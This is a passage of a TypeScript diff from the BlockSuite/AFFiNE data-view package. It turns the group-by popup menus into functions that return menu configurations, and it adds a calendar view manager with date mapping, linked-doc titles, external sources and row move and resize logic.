-                ops?.onSelect?.(property.id);
-              },
-            });
-          }),
-      }),
-      menu.group({
-        items: [
+  return [
+    menu.group({
+      items: view.propertiesRaw$.value
+        .filter(property => {
+          if (property.type$.value === 'title') {
+            return false;
+          }
+          if (view instanceof KanbanSingleView) {
+            return canGroupable(view.manager.dataSource, property.id);
+          }
+          const dataType = property.dataType$.value;
+          if (!dataType) {
+            return false;
+          }
+          const groupByService = getGroupByService(view.manager.dataSource);
+          return !!groupByService?.matcher.match(dataType);
+        })
+        .map<MenuConfig>(property =>
           menu.action({
-            prefix: DeleteIcon(),
-            hide: () =>
-              view instanceof KanbanSingleView || !group.property$.value,
-            class: { 'delete-item': true },
-            name: 'Remove Grouping',
+            name: property.name$.value,
+            isSelected: group.property$.value?.id === property.id,
+            prefix: html`<uni-lit .uni="${property.icon}"></uni-lit>`,
             select: () => {
-              group.changeGroup(undefined);
-              ops?.onSelect?.();
+              group.changeGroup(property.id);
+              onSelect(property.id);
+              return false;
             },
-          }),
-        ],
-      }),
-    ],
-  };
+          })
+        ),
+    }),
+    menu.group({
+      items: [
+        menu.action({
+          prefix: DeleteIcon(),
+          hide: () =>
+            view instanceof KanbanSingleView || !group.property$.value,
+          class: { 'delete-item': true },
+          name: 'Remove Grouping',
+          select: () => {
+            group.changeGroup(undefined);
+            onSelect(undefined);
+            return false;
+          },
+        }),
+      ],
+    }),
+  ];
 };
 
-export const popSelectGroupByProperty = (
-  target: PopupTarget,
+export const buildGroupSettingItems = (
   group: GroupTrait,
-  ops?: { onSelect?: () => void; onClose?: () => void; onBack?: () => void },
-  middleware?: Array<Middleware | null | undefined | false>
-) => {
-  const handler = popMenu(target, {
-    options: selectGroupByProperty(group, ops),
-    middleware,
-  });
-  handler.menu.menuElement.style.minHeight = '550px';
-};
-
-export const popGroupSetting = (
-  target: PopupTarget,
-  group: GroupTrait,
-  onBack: () => void,
-  onClose?: () => void,
-  middleware?: Array<Middleware | null | undefined | false>
-) => {
+  onGroupByClick: () => void,
+  onGroupRemoved?: () => void
+): MenuConfig[] => {
   const view = group.view;
   const gProp = group.property$.value;
-  if (!gProp) return;
+  if (!gProp) return [];
   const type = gProp.type$.value;
-  if (!type) return;
-
+  if (!type) return [];
   const icon = gProp.icon;
-  const menuHandler = popMenu(target, {
-    options: {
-      title: {
-        text: 'Group',
-        onBack,
-        onClose,
-      },
-      items: [
-        menu.group({
-          items: [
-            menu.action({
-              name: 'Group By',
-              postfix: html`
-                <div
-                  style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
-                  class="dv-icon-16"
-                >
-                  ${renderUniLit(icon, {})} ${gProp.name$.value}
-                </div>
-              `,
-              select: () => {
-                const subHandler = popMenu(target, {
-                  options: selectGroupByProperty(group, {
-                    onSelect: () => {
-                      menuHandler.close();
-                      popGroupSetting(
-                        target,
-                        group,
-                        onBack,
-                        onClose,
-                        middleware
-                      );
-                    },
-                    onBack: () => {
-                      menuHandler.close();
-                      popGroupSetting(
-                        target,
-                        group,
-                        onBack,
-                        onClose,
-                        middleware
-                      );
-                    },
-                    onClose,
-                  }),
-                  middleware: [
-                    autoPlacement({
-                      allowedPlacements: ['bottom-start', 'top-start'],
-                    }),
-                    offset({ mainAxis: 15, crossAxis: -162 }),
-                    shift({ crossAxis: true }),
-                  ],
-                });
-                subHandler.menu.menuElement.style.minHeight = '550px';
-              },
-            }),
-          ],
-        }),
 
-        ...(type === 'date'
-          ? [
-              menu.group({
-                items: [
-                  menu.dynamic(() => [
-                    menu.subMenu({
-                      name: 'Date by',
-                      openOnHover: false,
-                      middleware: dropdownSubMenuMiddleware,
-                      autoHeight: true,
-                      postfix: html`
-                        <div
-                          style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:30px;"
-                        >
-                          ${dateModeLabel(group.groupInfo$.value?.config.name)}
-                        </div>
-                      `,
-                      options: {
-                        items: [
-                          menu.dynamic(() =>
-                            (
-                              [
-                                ['Relative', 'date-relative'],
-                                ['Day', 'date-day'],
+  return [
+    menu.group({
+      items: [
+        menu.action({
+          name: 'Group By',
+          postfix: html`
+            <div
+              style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
+              class="dv-icon-16"
+            >
+              ${renderUniLit(icon, {})} ${gProp.name$.value}
+            </div>
+          `,
+          select: () => {
+            onGroupByClick();
+            return false;
+          },
+        }),
+      ],
+    }),
+
+    ...(type === 'date'
+      ? [
+          menu.group({
+            items: [
+              menu.dynamic(() => [
+                menu.subMenu({
+                  name: 'Date by',
+                  openOnHover: false,
+                  middleware: dropdownSubMenuMiddleware,
+                  autoHeight: true,
+                  postfix: html`
+                    <div
+                      style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:30px;"
+                    >
+                      ${dateModeLabel(group.groupInfo$.value?.config.name)}
+                    </div>
+                  `,
+                  options: {
+                    items: [
+                      menu.dynamic(() =>
+                        (
+                          [
+                            ['Relative', 'date-relative'],
+                            ['Day', 'date-day'],
+                            [
+                              'Week',
+                              group.groupInfo$.value?.config.name ===
+                              'date-week-mon'
+                                ? 'date-week-mon'
+                                : 'date-week-sun',
+                            ],
+                            ['Month', 'date-month'],
+                            ['Year', 'date-year'],
+                          ] as [string, string][]
+                        ).map(
+                          ([label, key]): MenuConfig =>
+                            menu.action({
+                              name: label,
+                              label: () => {
+                                const isSelected =
+                                  group.groupInfo$.value?.config.name === key;
+                                return html`<span
+                                  style="font-size:14px;color:${isSelected
+                                    ? 'var(--affine-text-emphasis-color)'
+                                    : 'var(--affine-text-secondary-color)'}"
+                                  >${label}</span
+                                >`;
+                              },
+                              isSelected:
+                                group.groupInfo$.value?.config.name === key,
+                              select: () => {
+                                group.changeGroupMode(key);
+                                return false;
+                              },
+                            })
+                        )
+                      ),
+                    ],
+                  },
+                }),
+              ]),
+            ],
+          }),
+
+          ...(group.groupInfo$.value?.config.name?.startsWith('date-week')
+            ? [
+                menu.group({
+                  items: [
+                    menu.dynamic(() => [
+                      menu.subMenu({
+                        name: 'Start week on',
+                        postfix: html`
+                          <div
+                            style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
+                          >
+                            ${group.groupInfo$.value?.config.name ===
+                            'date-week-mon'
+                              ? 'Monday'
+                              : 'Sunday'}
+                          </div>
+                        `,
+                        options: {
+                          items: [
+                            menu.dynamic(() =>
+                              (
                                 [
-                                  'Week',
-                                  group.groupInfo$.value?.config.name ===
-                                  'date-week-mon'
-                                    ? 'date-week-mon'
-                                    : 'date-week-sun',
-                                ],
-                                ['Month', 'date-month'],
-                                ['Year', 'date-year'],
-                              ] as [string, string][]
-                            ).map(
-                              ([label, key]): MenuConfig =>
+                                  ['Monday', 'date-week-mon'],
+                                  ['Sunday', 'date-week-sun'],
+                                ] as [string, string][]
+                              ).map(([label, key]) =>
                                 menu.action({
                                   name: label,
                                   label: () => {
@@ -462,179 +452,118 @@ export const popGroupSetting = (
                                     return false;
                                   },
                                 })
-                            )
-                          ),
-                        ],
-                      },
-                    }),
-                  ]),
-                ],
-              }),
+                              )
+                            ),
+                          ],
+                        },
+                      }),
+                    ]),
+                  ],
+                }),
+              ]
+            : []),
+          menu.group({
+            items: [
+              menu.dynamic(() => [
+                menu.subMenu({
+                  name: 'Sort',
+                  openOnHover: false,
+                  middleware: dropdownSubMenuMiddleware,
+                  autoHeight: true,
+                  postfix: html`
+                    <div
+                      style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
+                    >
+                      ${group.sortAsc$.value ? 'Oldest first' : 'Newest first'}
+                    </div>
+                  `,
+                  options: {
+                    items: [
+                      menu.dynamic(() => [
+                        menu.action({
+                          name: 'Oldest first',
+                          label: () => {
+                            const isSelected = group.sortAsc$.value;
+                            return html`<span
+                              style="font-size:14px;color:${isSelected
+                                ? 'var(--affine-text-emphasis-color)'
+                                : 'var(--affine-text-secondary-color)'}"
+                              >Oldest first</span
+                            >`;
+                          },
+                          isSelected: group.sortAsc$.value,
+                          select: () => {
+                            group.setDateSortOrder(true);
+                            return false;
+                          },
+                        }),
+                        menu.action({
+                          name: 'Newest first',
+                          label: () => {
+                            const isSelected = !group.sortAsc$.value;
+                            return html`<span
+                              style="font-size:14px;color:${isSelected
+                                ? 'var(--affine-text-emphasis-color)'
+                                : 'var(--affine-text-secondary-color)'}"
+                              >Newest first</span
+                            >`;
+                          },
+                          isSelected: !group.sortAsc$.value,
+                          select: () => {
+                            group.setDateSortOrder(false);
+                            return false;
+                          },
+                        }),
+                      ]),
+                    ],
+                  },
+                }),
+              ]),
+            ],
+          }),
+        ]
+      : []),
 
-              ...(group.groupInfo$.value?.config.name?.startsWith('date-week')
-                ? [
-                    menu.group({
-                      items: [
-                        menu.dynamic(() => [
-                          menu.subMenu({
-                            name: 'Start week on',
-                            postfix: html`
-                              <div
-                                style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
-                              >
-                                ${group.groupInfo$.value?.config.name ===
-                                'date-week-mon'
-                                  ? 'Monday'
-                                  : 'Sunday'}
-                              </div>
-                            `,
-                            options: {
-                              items: [
-                                menu.dynamic(() =>
-                                  (
-                                    [
-                                      ['Monday', 'date-week-mon'],
-                                      ['Sunday', 'date-week-sun'],
-                                    ] as [string, string][]
-                                  ).map(([label, key]) =>
-                                    menu.action({
-                                      name: label,
-                                      label: () => {
-                                        const isSelected =
-                                          group.groupInfo$.value?.config
-                                            .name === key;
-                                        return html`<span
-                                          style="font-size:14px;color:${isSelected
-                                            ? 'var(--affine-text-emphasis-color)'
-                                            : 'var(--affine-text-secondary-color)'}"
-                                          >${label}</span
-                                        >`;
-                                      },
-                                      isSelected:
-                                        group.groupInfo$.value?.config.name ===
-                                        key,
-                                      select: () => {
-                                        group.changeGroupMode(key);
-                                        return false;
-                                      },
-                                    })
-                                  )
-                                ),
-                              ],
-                            },
-                          }),
-                        ]),
-                      ],
-                    }),
-                  ]
-                : []),
-              menu.group({
-                items: [
-                  menu.dynamic(() => [
-                    menu.subMenu({
-                      name: 'Sort',
-                      openOnHover: false,
-                      middleware: dropdownSubMenuMiddleware,
-                      autoHeight: true,
-                      postfix: html`
-                        <div
-                          style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
-                        >
-                          ${group.sortAsc$.value
-                            ? 'Oldest first'
-                            : 'Newest first'}
-                        </div>
-                      `,
-                      options: {
-                        items: [
-                          menu.dynamic(() => [
-                            menu.action({
-                              name: 'Oldest first',
-                              label: () => {
-                                const isSelected = group.sortAsc$.value;
-                                return html`<span
-                                  style="font-size:14px;color:${isSelected
-                                    ? 'var(--affine-text-emphasis-color)'
-                                    : 'var(--affine-text-secondary-color)'}"
-                                  >Oldest first</span
-                                >`;
-                              },
-                              isSelected: group.sortAsc$.value,
-                              select: () => {
-                                group.setDateSortOrder(true);
-                                return false;
-                              },
-                            }),
-                            menu.action({
-                              name: 'Newest first',
-                              label: () => {
-                                const isSelected = !group.sortAsc$.value;
-                                return html`<span
-                                  style="font-size:14px;color:${isSelected
-                                    ? 'var(--affine-text-emphasis-color)'
-                                    : 'var(--affine-text-secondary-color)'}"
-                                  >Newest first</span
-                                >`;
-                              },
-                              isSelected: !group.sortAsc$.value,
-                              select: () => {
-                                group.setDateSortOrder(false);
-                                return false;
-                              },
-                            }),
-                          ]),
-                        ],
-                      },
-                    }),
-                  ]),
-                ],
-              }),
-            ]
-          : []),
+    menu.group({
+      items: [
+        menu.dynamic(() => [
+          menu.action({
+            name: 'Hide empty groups',
+            isSelected: group.hideEmpty$.value,
+            select: () => {
+              group.setHideEmpty(!group.hideEmpty$.value);
+              return false;
+            },
+          }),
+        ]),
+      ],
+    }),
+    menu.group({
+      items: [
+        menuObj => html`
+          <data-view-group-setting
+            @mouseenter=${() => menuObj.closeSubMenu()}
+            .groupTrait=${group}
+            .columnId=${gProp.id}
+          ></data-view-group-setting>
+        `,
+      ],
+    }),
 
-        menu.group({
-          items: [
-            menu.dynamic(() => [
-              menu.action({
-                name: 'Hide empty groups',
-                isSelected: group.hideEmpty$.value,
-                select: () => {
-                  group.setHideEmpty(!group.hideEmpty$.value);
-                  return false;
-                },
-              }),
-            ]),
-          ],
-        }),
-        menu.group({
-          items: [
-            menu => html`
-              <data-view-group-setting
-                @mouseenter=${() => menu.closeSubMenu()}
-                .groupTrait=${group}
-                .columnId=${gProp.id}
-              ></data-view-group-setting>
-            `,
-          ],
-        }),
-
-        menu.group({
-          items: [
-            menu.action({
-              name: 'Remove grouping',
-              prefix: DeleteIcon(),
-              class: { 'delete-item': true },
-              hide: () => !(view instanceof TableSingleView),
-              select: () => {
-                group.changeGroup(undefined);
-                return false;
-              },
-            }),
-          ],
+    menu.group({
+      items: [
+        menu.action({
+          name: 'Remove grouping',
+          prefix: DeleteIcon(),
+          class: { 'delete-item': true },
+          hide: () => !(view instanceof TableSingleView),
+          select: () => {
+            group.changeGroup(undefined);
+            onGroupRemoved?.();
+            return false;
+          },
         }),
       ],
-    },
-    middleware,
-  });
-  menuHandler.menu.menuElement.style.minHeight = '550px';
+    }),
+  ];
 };

blocksuite/affine/data-view/src/view-presets/calendar/calendar-view-manager.ts

@@ -0,0 +1,605 @@
+import { DocDisplayMetaProvider } from '@blocksuite/affine-shared/services';
+import type { AffineTextAttributes } from '@blocksuite/affine-shared/types';
+import type { InsertToPosition } from '@blocksuite/affine-shared/utils';
+import { type DeltaInsert, Text } from '@blocksuite/store';
+import { computed, type ReadonlySignal, signal } from '@preact/signals-core';
+import { Doc } from 'yjs';
+
+import { evalFilter } from '../../core/filter/eval.js';
+import { generateDefaultValues } from '../../core/filter/generate-default-values.js';
+import { FilterTrait, filterTraitKey } from '../../core/filter/trait.js';
+import type { FilterGroup } from '../../core/filter/types.js';
+import { emptyFilterGroup } from '../../core/filter/utils.js';
+import { fromJson } from '../../core/property/utils';
+import { SortManager, sortTraitKey } from '../../core/sort/manager.js';
+import { PropertyBase } from '../../core/view-manager/property.js';
+import { type Row, RowBase } from '../../core/view-manager/row.js';
+import {
+  type SingleView,
+  SingleViewBase,
+} from '../../core/view-manager/single-view.js';
+import type { ViewManager } from '../../core/view-manager/view-manager.js';
+import { getCalendarExternalSources } from './source.js';
+import type {
+  CalendarEntry,
+  CalendarEntryRange,
+  CalendarExternalEntry,
+  CalendarExternalSource,
+  CalendarRowEntry,
+  CalendarStoredViewData,
+  CalendarTitleSegment,
+} from './types.js';
+
+export type CalendarDateMapping =
+  | {
+      status: 'ready';
+      propertyId: string;
+    }
+  | {
+      status: 'setup';
+      propertyId?: string;
+    };
+
+const getStartColumnId = (data?: CalendarStoredViewData) =>
+  data?.date?.startColumnId;
+
+const getEndColumnId = (data?: CalendarStoredViewData) => {
+  return data?.date?.endColumnId;
+};
+
+const getDateData = (data: CalendarStoredViewData) => ({
+  ...data.date,
+  startColumnId: getStartColumnId(data),
+});
+
+const getCardData = (data?: CalendarStoredViewData) => {
+  if (data) {
+    return data.card;
+  }
+  return {
+    visiblePropertyIds: [],
+  };
+};
+
+const toTimestamp = (date: number | Date) =>
+  date instanceof Date ? date.getTime() : date;
+
+const isValidTimestamp = (value: unknown): value is number =>
+  typeof value === 'number' && Number.isFinite(value);
+
+const createLinkedDocTitle = (docId: string) => {
+  const text = new Text<AffineTextAttributes>();
+  new Doc().getMap('root').set('text', text.yText);
+  text.applyDelta([
+    {
+      insert: ' ',
+      attributes: { reference: { type: 'LinkedPage', pageId: docId } },
+    },
+  ] satisfies DeltaInsert<AffineTextAttributes>[]);
+  return text;
+};
+
+const getTitleDeltas = (value: unknown) =>
+  typeof value === 'object' && value != null && 'deltas$' in value
+    ? (value as { deltas$?: { value?: unknown } }).deltas$?.value
+    : undefined;
+
+const getTitleSegments = (
+  value: unknown,
+  title: string,
+  getLinkedDocTitle?: (pageId: string, title?: string) => string | undefined
+): CalendarTitleSegment[] | undefined => {
+  const deltas = getTitleDeltas(value);
+  if (!Array.isArray(deltas)) {
+    return;
+  }
+  const segments = deltas.flatMap(delta => {
+    const item = delta as {
+      insert?: unknown;
+      attributes?: {
+        reference?: {
+          type?: string;
+          pageId?: unknown;
+          title?: unknown;
+        };
+      };
+    };
+    const linkedDoc =
+      item.attributes?.reference?.type === 'LinkedPage' &&
+      typeof item.attributes.reference.pageId === 'string';
+    const referenceTitle = item.attributes?.reference?.title;
+    const resolvedLinkedDocTitle =
+      linkedDoc && typeof item.attributes?.reference?.pageId === 'string'
+        ? getLinkedDocTitle?.(
+            item.attributes.reference.pageId,
+            typeof referenceTitle === 'string' ? referenceTitle : undefined
+          )
+        : undefined;
+    const text =
+      resolvedLinkedDocTitle ||
+      (linkedDoc && typeof referenceTitle === 'string' && referenceTitle
+        ? referenceTitle
+        : typeof item.insert === 'string'
+          ? item.insert.trim()
+          : '');
+    if (linkedDoc) {
+      return {
+        text,
+        linkedDoc,
+      };
+    }
+    if (!text) {
+      return [];
+    }
+    return {
+      text,
+    };
+  });
+  const normalizedSegments = segments.reduce<CalendarTitleSegment[]>(
+    (result, segment) => {
+      const previous = result.at(-1);
+      if (
+        previous?.linkedDoc &&
+        !previous.text &&
+        !segment.linkedDoc &&
+        segment.text
+      ) {
+        previous.text = segment.text;
+        return result;
+      }
+      result.push(segment);
+      return result;
+    },
+    []
+  );
+  if (!normalizedSegments.some(segment => segment.linkedDoc)) {
+    return;
+  }
+  if (!normalizedSegments.some(segment => segment.text)) {
+    return title
+      ? [...normalizedSegments, { text: title }]
+      : normalizedSegments;
+  }
+  return normalizedSegments;
+};
+
+export class CalendarSingleView extends SingleViewBase<CalendarStoredViewData> {
+  private readonly externalEntries$ = signal<CalendarExternalEntry[]>([]);
+
+  private externalEntriesRequestId = 0;
+
+  propertiesRaw$ = computed(() => {
+    return this.dataSource.properties$.value.map(id =>
+      this.propertyGetOrCreate(id)
+    );
+  });
+
+  properties$ = this.propertiesRaw$;
+
+  detailProperties$ = computed(() => {
+    return this.propertiesRaw$.value.filter(
+      property => property.type$.value !== 'title'
+    );
+  });
+
+  private readonly filter$ = computed(() => {
+    return this.data$.value?.filter ?? emptyFilterGroup;
+  });
+
+  private readonly sortList$ = computed(() => {
+    return this.data$.value?.sort;
+  });
+
+  emptyMonthHintDismissed$ = computed(() => {
+    return this.data$.value?.ui?.emptyMonthHintDismissed ?? false;
+  });
+
+  private readonly sortManager = this.traitSet(
+    sortTraitKey,
+    new SortManager(this.sortList$, this, {
+      setSortList: sortList => {
+        this.dataUpdate(data => ({
+          sort: {
+            ...data.sort,
+            ...sortList,
+          },
+        }));
+      },
+    })
+  );
+
+  filterTrait = this.traitSet(
+    filterTraitKey,
+    new FilterTrait(this.filter$, this, {
+      filterSet: (filter: FilterGroup) => {
+        this.dataUpdate(() => ({ filter }));
+      },
+    })
+  );
+
+  mainProperties$ = computed(() => {
+    const card = getCardData(this.data$.value);
+    return {
+      titleColumn:
+        card.titleColumnId ??
+        this.propertiesRaw$.value.find(
+          property => property.type$.value === 'title'
+        )?.id,
+    };
+  });
+
+  readonly$ = computed(() => {
+    return this.manager.readonly$.value;
+  });
+
+  dateProperties$ = computed(() => {
+    return this.propertiesRaw$.value.filter(
+      property => property.type$.value === 'date'
+    );
+  });
+
+  dateMapping$: ReadonlySignal<CalendarDateMapping> = computed(() => {
+    const propertyId = getStartColumnId(this.data$.value);
+    if (
+      propertyId &&
+      this.dataSource.properties$.value.includes(propertyId) &&
+      this.dataSource.propertyTypeGet(propertyId) === 'date'
+    ) {
+      return {
+        status: 'ready',
+        propertyId,
+      };
+    }
+    return {
+      status: 'setup',
+      propertyId,
+    };
+  });
+
+  startDateMapping$ = this.dateMapping$;
+
+  endDateMapping$: ReadonlySignal<CalendarDateMapping> = computed(() => {
+    const propertyId = getEndColumnId(this.data$.value);
+    if (
+      propertyId &&
+      this.dataSource.properties$.value.includes(propertyId) &&
+      this.dataSource.propertyTypeGet(propertyId) === 'date'
+    ) {
+      return {
+        status: 'ready',
+        propertyId,
+      };
+    }
+    return {
+      status: 'setup',
+      propertyId,
+    };
+  });
+
+  private readonly visibleCardProperties$ = computed(() => {
+    const card = getCardData(this.data$.value);
+    const visiblePropertyIds = card.visiblePropertyIds ?? [];
+    const titleColumn = card.titleColumnId;
+    return visiblePropertyIds
+      .filter(propertyId => propertyId !== titleColumn)
+      .map(propertyId => this.propertyGetOrCreate(propertyId));
+  });
+
+  rowEntries$ = computed<CalendarRowEntry[]>(() => {
+    const mapping = this.dateMapping$.value;
+    if (mapping.status !== 'ready') {
+      return [];
+    }
+    const endMapping = this.endDateMapping$.value;
+    return this.rows$.value.flatMap(row => {
+      const startAt = this.cellGetOrCreate(row.rowId, mapping.propertyId)
+        .jsonValue$.value;
+      if (!isValidTimestamp(startAt)) {
+        return [];
+      }
+      const endAt =
+        endMapping.status === 'ready'
+          ? this.cellGetOrCreate(row.rowId, endMapping.propertyId).jsonValue$
+              .value
+          : undefined;
+      const titleColumn = this.mainProperties$.value.titleColumn ?? 'title';
+      const titleCell = this.cellGetOrCreate(row.rowId, titleColumn);
+      const jsonTitle = titleCell.jsonValue$.value;
+      const title =
+        (typeof jsonTitle === 'string'
+          ? jsonTitle
+          : titleCell.stringValue$.value) ?? '';
+      const docDisplayMeta = this.manager.dataSource.serviceGet(
+        DocDisplayMetaProvider
+      );
+      const resolveLinkedDocTitle = (pageId: string, title?: string) =>
+        docDisplayMeta?.title(pageId, { title }).value;
+      const titleSegments = getTitleSegments(
+        titleCell.value$.value,
+        title,
+        resolveLinkedDocTitle
+      );
+      const cardProperties = this.visibleCardProperties$.value.flatMap(
+        property => {
+          const cell = this.cellGetOrCreate(row.rowId, property.id);
+          const value = cell.stringValue$.value;
+          if (!value) {
+            return [];
+          }
+          return {
+            propertyId: property.id,
+            value,
+          };
+        }
+      );
+      return {
+        kind: 'row',
+        id: `database:${row.rowId}`,
+        sourceId: 'database',
+        rowId: row.rowId,
+        title,
+        startAt,
+        endAt: isValidTimestamp(endAt) && endAt >= startAt ? endAt : undefined,
+        titleSegments,
+        cardProperties,
+        canResizeRange: endMapping.status === 'ready' && !this.readonly$.value,
+      } satisfies CalendarRowEntry;
+    });
+  });
+
+  entries$ = computed<CalendarEntry[]>(() => {
+    return [...this.rowEntries$.value, ...this.externalEntries$.value];
+  });
+
+  externalSources$ = computed<CalendarExternalSource[]>(() => {
+    const viewData = this.data$.value;
+    if (!viewData) {
+      return [];
+    }
+    return getCalendarExternalSources(this.dataSource, viewData);
+  });
+
+  get type(): string {
+    return this.data$.value?.mode ?? 'calendar';
+  }
+
+  constructor(viewManager: ViewManager, viewId: string) {
+    super(viewManager, viewId);
+  }
+
+  isShow(rowId: string): boolean {
+    if (this.filter$.value.conditions.length) {
+      const rowMap = Object.fromEntries(
+        this.propertiesRaw$.value.map(column => [
+          column.id,
+          column.cellGetOrCreate(rowId).jsonValue$.value,
+        ])
+      );
+      return evalFilter(this.filter$.value, rowMap);
+    }
+    return true;
+  }
+
+  override rowsMapping(rows: Row[]) {
+    return this.sortManager.sort(super.rowsMapping(rows));
+  }
+
+  propertyGetOrCreate(propertyId: string): CalendarProperty {
+    return new CalendarProperty(this, propertyId);
+  }
+
+  override rowGetOrCreate(rowId: string): CalendarRow {
+    return new CalendarRow(this, rowId);
+  }
+
+  setStartDateColumn(propertyId: string) {
+    this.dataUpdate(data => ({
+      date: {
+        ...getDateData(data),
+        startColumnId: propertyId,
+      },
+    }));
+  }
+
+  setDateColumn(propertyId: string) {
+    this.setStartDateColumn(propertyId);
+  }
+
+  setEndDateColumn(propertyId: string | undefined) {
+    this.dataUpdate(data => ({
+      date: {
+        ...getDateData(data),
+        endColumnId: propertyId,
+      },
+    }));
+  }
+
+  setWorkspaceCalendarEnabled(enabled: boolean) {
+    this.dataUpdate(data => ({
+      sources: {
+        ...data.sources,
+        workspaceCalendar: {
+          ...(data.sources?.workspaceCalendar ?? { enabled: true }),
+          enabled,
+        },
+      },
+    }));
+  }
+
+  setWorkspaceCalendarSubscriptionIds(subscriptionIds?: string[]) {
+    this.dataUpdate(data => ({
+      sources: {
+        ...data.sources,
+        workspaceCalendar: {
+          ...(data.sources?.workspaceCalendar ?? { enabled: true }),
+          subscriptionIds,
+        },
+      },
+    }));
+  }
+
+  dismissEmptyMonthHint() {
+    this.dataUpdate(data => ({
+      ui: {
+        ...data.ui,
+        emptyMonthHintDismissed: true,
+      },
+    }));
+  }
+
+  getDocDisplayTitle(docId: string) {
+    return (
+      this.manager.dataSource.serviceGet(DocDisplayMetaProvider)?.title(docId)
+        .value ?? 'Untitled'
+    );
+  }
+
+  createStartDateColumn() {
+    const id = this.propertyAdd('end', {
+      type: 'date',
+      name: 'Date',
+    });
+    if (id) {
+      this.setStartDateColumn(id);
+    }
+    return id;
+  }
+
+  createDateColumn() {
+    return this.createStartDateColumn();
+  }
+
+  createEndDateColumn() {
+    const id = this.propertyAdd('end', {
+      type: 'date',
+      name: 'End Date',
+    });
+    if (id) {
+      this.setEndDateColumn(id);
+    }
+    return id;
+  }
+
+  createRowOnDate(date: number | Date) {
+    const mapping = this.startDateMapping$.value;
+    if (mapping.status !== 'ready') {
+      return;
+    }
+    const rowId = this.rowAdd('end');
+    const filter = this.filter$.value;
+    if (filter.conditions.length > 0) {
+      const defaultValues = generateDefaultValues(filter, this.vars$.value);
+      Object.entries(defaultValues).forEach(([propertyId, jsonValue]) => {
+        const property = this.propertyGetOrCreate(propertyId);
+        const propertyMeta = property.meta$.value;
+        if (propertyMeta) {
+          const value = fromJson(propertyMeta.config, {
+            value: jsonValue,
+            data: property.data$.value,
+            dataSource: this.dataSource,
+          });
+          this.cellGetOrCreate(rowId, propertyId).valueSet(value);
+        }
+      });
+    }
+    this.cellGetOrCreate(rowId, mapping.propertyId).jsonValueSet(
+      toTimestamp(date)
+    );
+    this.dismissEmptyMonthHint();
+    return rowId;
+  }
+
+  createLinkedDocRowOnDate(date: number | Date, docId: string) {
+    const rowId = this.createRowOnDate(date);
+    if (!rowId) return;
+    const titleColumn = this.mainProperties$.value.titleColumn ?? 'title';
+    this.cellGetOrCreate(rowId, titleColumn).valueSet(
+      createLinkedDocTitle(docId)
+    );
+    return rowId;
+  }
+
+  moveRowToDate(rowId: string, date: number | Date) {
+    const mapping = this.startDateMapping$.value;
+    if (mapping.status !== 'ready') {
+      return;
+    }
+    const value = toTimestamp(date);
+    const oldStartAt = this.cellGetOrCreate(rowId, mapping.propertyId)
+      .jsonValue$.value;
+    const endMapping = this.endDateMapping$.value;
+    if (endMapping.status === 'ready' && isValidTimestamp(oldStartAt)) {
+      const oldEndAt = this.cellGetOrCreate(rowId, endMapping.propertyId)
+        .jsonValue$.value;
+      if (isValidTimestamp(oldEndAt) && oldEndAt >= oldStartAt) {
+        this.cellGetOrCreate(rowId, endMapping.propertyId).jsonValueSet(
+          value + (oldEndAt - oldStartAt)
+        );
+      }
+    }
+    this.cellGetOrCreate(rowId, mapping.propertyId).jsonValueSet(value);
+  }
+
+  resizeRowRange(rowId: string, edge: 'start' | 'end', date: number | Date) {
+    const startMapping = this.startDateMapping$.value;
+    const endMapping = this.endDateMapping$.value;
+    if (startMapping.status !== 'ready' || endMapping.status !== 'ready') {
+      return;
+    }
+    const startCell = this.cellGetOrCreate(rowId, startMapping.propertyId);
+    const endCell = this.cellGetOrCreate(rowId, endMapping.propertyId);
+    const startAt = startCell.jsonValue$.value;
+    const endAt = endCell.jsonValue$.value;
+    if (!isValidTimestamp(startAt) || !isValidTimestamp(endAt)) {
+      return;
+    }
+    const value = toTimestamp(date);
+    if (edge === 'start') {
+      startCell.jsonValueSet(Math.min(value, endAt));
+    } else {
+      endCell.jsonValueSet(Math.max(value, startAt));
+    }
+  }
+
+  async loadExternalEntries(range: CalendarEntryRange) {
+    const requestId = ++this.externalEntriesRequestId;
+    const viewData = this.data$.value;
+    if (!viewData) {
+      this.externalEntries$.value = [];
+      return [];
+    }
+    const results = await Promise.allSettled(
+      this.externalSources$.value.map(source =>
+        Promise.resolve(source.getEntries(range))
+      )
+    );
+    const entries = results.flatMap(result =>
+      result.status === 'fulfilled' ? result.value : []
+    );
+    if (requestId === this.externalEntriesRequestId) {
+      this.externalEntries$.value = entries;
+    }
+    return entries;
+  }
+}
+
+export class CalendarProperty extends PropertyBase {
+  hide$ = computed(() => false);
+
+  constructor(view: CalendarSingleView, propertyId: string) {
+    super(view as SingleView, propertyId);
+  }
+
+  hideSet(_hide: boolean): void {}
+
+  move(_position: InsertToPosition): void {}
+}
+
+export class CalendarRow extends RowBase {
+  constructor(
+    readonly calendarView: CalendarSingleView,
+    rowId: string
+  ) {
+    super(calendarView, rowId);
+  }
+}

blocksuite/affine/data-view/src/view-presets/calendar/define.ts

@@ -0,0 +1,34 @@
+import { viewType } from '../../core/view/data-view.js';
+import { CalendarSingleView } from './calendar-view-manager.js';
+import type { CalendarViewData } from './types.js';
+
+export const calendarViewType = viewType('calendar');
+
+export const calendarViewModel = calendarViewType.createModel<CalendarViewData>(
+  {
+    defaultName: 'Calendar View',
+    dataViewManager: CalendarSingleView,
+    defaultData: viewManager => {
+      return {
+        filter: {
+          type: 'group',
+          op: 'and',
+          conditions: [],
+        },
+        date: {},
+        card: {
+          titleColumnId: viewManager.dataSource.properties$.value.find(
+            id => viewManager.dataSource.propertyTypeGet(id) === 'title'
+          ),
+          visiblePropertyIds: [],
+        },
+        sources: {
+          workspaceCalendar: {
+            enabled: true,
+          },
+        },
+        ui: {},
+      };
+    },
+  }
